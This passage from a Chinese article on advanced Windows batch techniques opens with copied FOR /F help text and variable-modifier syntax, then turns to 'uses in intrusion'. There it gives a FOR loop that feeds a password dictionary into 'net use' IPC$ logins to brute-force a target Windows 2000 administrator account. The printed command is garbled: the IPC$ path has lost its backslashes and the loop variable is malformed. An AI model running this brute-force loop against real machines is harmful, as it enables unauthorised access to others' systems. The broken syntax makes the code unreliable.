批处理的高级运用技巧

2019-09-19 07:07:23于海丽

串会被当作一个文件中的一个单一输入行。 
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 
括号之间的 filenameset 变成一个反括字符串。该字符串会 
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 
内存,并被当作文件分析。因此,以下例子: 
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 
会枚举当前环境中的环境变量名称。 
另外,FOR 变量参照的替换已被增强。您现在可以使用下列 
选项语法: 
~I - 删除任何引号("),扩充 %I 
%~fI - 将 %I 扩充到一个完全合格的路径名 
%~dI - 仅将 %I 扩充到一个驱动器号 
%~pI - 仅将 %I 扩充到一个路径 
%~nI - 仅将 %I 扩充到一个文件名 
%~xI - 仅将 %I 扩充到一个文件扩展名 
%~sI - 扩充的路径只含有短名 
%~aI - 将 %I 扩充到文件的文件属性 
%~tI - 将 %I 扩充到文件的日期/时间 
%~zI - 将 %I 扩充到文件的大小 
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充 
到找到的第一个完全合格的名称。如果环境变量 
未被定义,或者没有找到文件,此组合键会扩充 
空字符串 
可以组合修饰符来得到多重结果: 
%~dpI - 仅将 %I 扩充到一个驱动器号和路径 
%~nxI - 仅将 %I 扩充到一个文件名和扩展名 
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充 
到找到的第一个驱动器号和路径。 
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR 
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法 
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 
比较易读,而且避免与不分大小写的组合键混淆。 
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 
sample2: 
利用For命令来实现对一台目标Win2k主机的暴力密码破解。 
我们用net use ipipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 
最主要的命令是一条:for /f i% in (dict.txt) do net use ipipc$ "i%" /u:"administrator" 
相关文章 大家在看